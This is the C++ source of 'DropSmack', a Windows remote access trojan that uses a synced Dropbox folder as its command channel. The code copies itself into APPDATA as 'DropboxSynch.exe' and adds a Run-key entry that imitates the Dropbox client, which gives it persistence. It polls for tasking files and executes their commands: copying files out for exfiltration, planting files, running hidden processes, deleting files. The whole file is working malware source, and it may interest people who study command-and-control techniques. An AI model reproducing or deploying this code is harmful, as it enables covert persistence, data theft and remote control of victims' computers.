// DropSmack_Win.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
// DropSmack.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#include "stdlib.h"
#include <string.h>
#include "tchar.h"

#define _JD 0
#define BUFSIZE 4096
// This define should be in the SDK, but mine is apparently broken.  Just to get by...
#define INVALID_FILE_ATTRIBUTES -1
// This is the interval at which DropSmack will poll for new tasking files in the Dropbox directory
#define POLL_INTERVAL 15000		

#define TASK_CHECK_SUCCESS 0 
#define TASK_CHECK_ERROR -300

#define TASK_PROCESS_SUCCESS 0 
#define TASK_PROCESS_DIRECTORY -400
#define TASK_PROCESS_FILE_OPEN -401
#define TASK_PROCESS_READ -402

void setPersistence();
int whereAmI();
void putFile(LPTSTR source, LPTSTR dest, DWORD attrs, int cmdId);
void getFile(LPTSTR source, LPTSTR dest, int cmdId);
void delFile(LPTSTR file, int cmdId);
void runCommand(LPTSTR command, int cmdId);
int findDbDir();
int processTasking(LPTSTR fName, DWORD fileSize);
int checkTasking();

TCHAR myName[] = "DropboxSynch.exe";
int cmdNumber = 1;
TCHAR taskFile[] = "DROPSMACK_";
HANDLE g_hChildStd_OUT_Rd = NULL;
TCHAR dbDir[MAX_PATH];
TCHAR findStr[MAX_PATH];

void whoami() {
	TCHAR szPath[MAX_PATH];
	int nLen;
	nLen = GetModuleFileName(NULL, szPath, MAX_PATH);
	//_tprintf("%s\n", szPath);
}

int whereAmI() {
	TCHAR szPath[MAX_PATH];
	LPTSTR appDataPath, cmdLine;
	int nLen;
	DWORD retval;
	STARTUPINFO siStartupInfo; 
    PROCESS_INFORMATION piProcessInfo; 
    memset(&siStartupInfo, 0, sizeof(siStartupInfo)); 
    memset(&piProcessInfo, 0, sizeof(piProcessInfo)); 
    siStartupInfo.cb = sizeof(siStartupInfo); 


	appDataPath = (LPTSTR) malloc(BUFSIZE*sizeof(TCHAR));
	cmdLine = (LPTSTR) malloc(BUFSIZE*sizeof(TCHAR));
	memset((void *)cmdLine, 0, BUFSIZE*sizeof(TCHAR));
	if (NULL == appDataPath) {
		return -2;
	}
	if (GetEnvironmentVariable(_T("APPDATA"), appDataPath, BUFSIZE) != 0) {
		_tprintf("Appdata = %s\n", appDataPath);
		_tcscat(appDataPath, _T("\\"));
		_tcscat(appDataPath, myName);
		_tprintf("Appdata = %s\n", appDataPath);
		nLen = GetModuleFileName(NULL, szPath, MAX_PATH);
		if (_tcsicmp(appDataPath, szPath) != 0) {
#ifdef _JD
			printf("Compare failed\n");
#endif
			if (CopyFile(szPath, appDataPath, FALSE) != 0) {
				retval = CreateProcess(appDataPath,
					szPath,	// command line
					NULL,	// proc attrs
					NULL,	//thread attrs
					FALSE,	// inherit handles
					0, //CREATE_NO_WINDOW,
					NULL,
					NULL,
					&siStartupInfo,
					&piProcessInfo);
#ifdef _JD
				if (retval != 0) {
					_tprintf("Process succeeded\n");
				} else {
					_tprintf("Failed with error %d \n", GetLastError());
				}
#endif
				if (retval != 0) {
					//_tprintf(_T("Waiting to die\n"));
					Sleep(5000);
					ExitProcess(0);
					return 0;
				}

			} else {
#ifdef _JD
				printf("failed copy\n");
#endif
				return -3;
			}
			
		} else {
			setPersistence();
		}
		return -8;
	} else {
		return -1;
	}
}

void setPersistence() {
	TCHAR szPath[MAX_PATH];
	int nLen;
	HKEY hKey;
	LONG retval;
	nLen = GetModuleFileName(NULL, szPath, MAX_PATH);
	//_tprintf("%s\n", szPath);
	if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 
		KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
		retval = RegSetValueEx(hKey, _T("DropBox Sycnh Client"), 0, REG_SZ, (const BYTE *) szPath, nLen);
		printf("Set key with error %d\n", retval);
	}

}

/* Take a file from the Dropbox dir and move it to a more permanent home */
void putFile(LPTSTR source, LPTSTR dest, DWORD attrs, int cmdId) {
	if (MoveFile(source, dest)) {
		_tprintf(_T("Moved %s to %s\n"), source, dest);
		if (attrs) {
			if (SetFileAttributes(dest, attrs)) {
				//_tprintf(_T("set attributes %d on %s\n"), attrs, dest); 
			} else {
				//_tprintf(_T("Failed to set attributes %d on %s\n"), attrs, dest);
			}
		}
	} else {
		//_tprintf("Failed to move %s to %s\n", source, dest);
	}
}


/* Get a file on the system and move it to the Dropbox directory */
void getFile(LPTSTR source, LPTSTR dest, int cmdId) {
	if (CopyFile(source, dest, FALSE)) {
		// success
	} else {
		// failure logging placeholder
	}
}

/* Delete a file */
void delFile(LPTSTR file, int cmdId) {
	if (DeleteFile(file)) {
		_tprintf("file %s deleted\n", file);
	} else {
		_tprintf("Failed to delete file %s \n", file);
	}
}


void runCommand(LPTSTR command, int cmdId) {
	DWORD ret = 0;
	STARTUPINFO siStartupInfo; 
    PROCESS_INFORMATION piProcessInfo; 
	SECURITY_ATTRIBUTES saAttr; 
	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	saAttr.bInheritHandle = TRUE; 
	saAttr.lpSecurityDescriptor = NULL; 
    memset(&siStartupInfo, 0, sizeof(siStartupInfo)); 
    memset(&piProcessInfo, 0, sizeof(piProcessInfo)); 
	
	siStartupInfo.cb = sizeof(siStartupInfo); 
	ret = CreateProcess(NULL, 
					command,	// command line
					NULL,	// proc attrs
					NULL,	//thread attrs
					FALSE,	// inherit handles
					CREATE_NO_WINDOW,
					NULL,
					NULL,
					&siStartupInfo,
					&piProcessInfo);
	if (ret) {
		//_tprintf("command \"%s\" executed successfully\n", command);
	} else {
		//_tprintf("command \"%s\" FAILED to execute successfully\n", command);
	}
}

/*  Find the dropbox directory where files should be */
int findDbDir() {
	TCHAR tempStr[MAX_PATH];
	DWORD attrs;
	if (! GetEnvironmentVariable(_T("USERPROFILE"), (LPTSTR) &dbDir, MAX_PATH)) {
		return -1;
	}
	_tcscat(dbDir, _T("\\"));
	_tcscpy(tempStr, dbDir);
	_tcscat(tempStr, _T("MYDOCU~1\\Dropbox"));
	attrs = GetFileAttributes((LPTSTR) tempStr);
	if (attrs != INVALID_FILE_ATTRIBUTES) {
		if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
			_tcscpy(dbDir, tempStr);
			return 0;
		}
	}
	_tcscpy(tempStr, dbDir);
	_tcscat(tempStr, _T("Dropbox"));
	attrs = GetFileAttributes((LPTSTR) tempStr);
	if (attrs != INVALID_FILE_ATTRIBUTES) {
		if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
			_tcscpy(dbDir, tempStr);
			return 0;
		}
	}
	return -10;
}

int processTasking(LPTSTR fName, DWORD fileSize) {
	TCHAR fullName[MAX_PATH];
	DWORD attrs, nRead;
	HANDLE hFile;
	LPVOID buf;
	int pos = 0, newpos = 0, numScan = 0, sleepTime = 0;
	char *thisLine;
	char cmdArg[MAX_PATH], arg1[MAX_PATH], arg2[MAX_PATH];
	char dbFull[MAX_PATH];
	// When you get the filename, it is just the file (no directory)
	_stprintf(fullName, "%s\\%s", dbDir, fName);
	attrs = GetFileAttributes(fullName);
	if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
		return TASK_PROCESS_DIRECTORY;
	}
	hFile = CreateFile(fullName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return TASK_PROCESS_FILE_OPEN;
	}
	buf = malloc(fileSize + sizeof(TCHAR));
	memset(buf, 0, fileSize + sizeof(TCHAR));
	if (ReadFile(hFile, buf, fileSize, &nRead, NULL) == FALSE) {		
		return TASK_PROCESS_READ;
	}
	thisLine = strtok((char *) buf, "\r\n");
	while (1) {
		if (thisLine == NULL) {
			break;
		}
		_tprintf(_T("Line contents: %s\n"), thisLine);
		numScan = sscanf(thisLine, "%s", &cmdArg);
		_tprintf(_T("First arg is %s\n"), cmdArg);
		if (numScan == 1 && strcmp(cmdArg, "GET") == 0) {
			numScan = sscanf(thisLine, "%s %[^'|']|%s", &cmdArg, &arg1, &arg2);
			if (numScan == 3) {
				//This is bad, but lets just assume that we'll not be using unicode
				sprintf(dbFull, "%s\\%s", (char *)dbDir, arg2);
				printf("Placing getfile in %s\n", dbFull);
				getFile(arg1, dbFull, 0);
			} else {
				// ERROR: malformed line
			}
		} else if (numScan == 1 && strcmp(cmdArg, "PUT") == 0) {
			numScan = sscanf(thisLine, "%s %[^'|']|%s", &cmdArg, &arg1, &arg2);
			if (numScan == 3) {
				//This is bad, but lets just assume that we'll not be using unicode
				sprintf(dbFull, "%s\\%s", (char *)dbDir, arg1);
				putFile(dbFull, arg2, NULL, 0);
			} else {
				// ERROR: malformed line
			}
		} else if (numScan == 1 && strcmp(cmdArg, "EXEC") == 0) {
			numScan = sscanf(thisLine, "%s %s", &cmdArg, &arg1);
			if (numScan == 2) {
				runCommand(arg1, 0);
			}
		} else if (numScan == 1 && strcmp(cmdArg, "DEL") == 0) {
			numScan = sscanf(thisLine, "%s %s", &cmdArg, &arg1);
			if (numScan == 2) {
				delFile(arg1, 0);
			}
		} else if (numScan == 1 && strcmp(cmdArg, "SLEEP") == 0) {
			numScan = sscanf(thisLine, "%s %d", &cmdArg, &sleepTime);
			if (numScan == 2) {
				Sleep(sleepTime);
			}
		} else if (numScan == 1 && strcmp(cmdArg, "MOVE") == 0) {
			numScan = sscanf(thisLine, "%s %[^'|']|%s", &cmdArg, &arg1, &arg2);
			if (numScan == 3) {
				putFile(arg1, arg2, NULL, 0);
			} else {
				// ERROR: malformed line
			}
		}
		thisLine = strtok(NULL, "\r\n");
	} 
	CloseHandle(hFile);
	DeleteFile(fullName);
	//free(buf);
	return TASK_PROCESS_SUCCESS;
}

int checkTasking() {
	HANDLE hFind;
	WIN32_FIND_DATA FindFileData;
	DWORD err = 0;
	int ret = 0;
	hFind = FindFirstFile(findStr, &FindFileData);
	if (hFind == INVALID_HANDLE_VALUE) {
		err = GetLastError();
		if (err != ERROR_FILE_NOT_FOUND) {
			return TASK_CHECK_ERROR;
		}
		return TASK_CHECK_SUCCESS;
	}
	ret = processTasking(FindFileData.cFileName, FindFileData.nFileSizeLow);
	_tprintf("ret = %d\n", ret);

	FindClose(hFind);
	return TASK_CHECK_SUCCESS;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	int ret = 0;
	//Sleep(20000);
	//setPersistence();
	if (findDbDir() != 0) {
		//Sleep(20000);
		return -1;
	}
	whereAmI();
	_tcscpy(findStr, dbDir);
	_tcscat(findStr, _T("\\"));
	_tcscat(findStr, taskFile);
	_tcscat(findStr, _T("*"));
	while (TRUE) {
		checkTasking();
		Sleep(POLL_INTERVAL);
	}
	return 0;
}



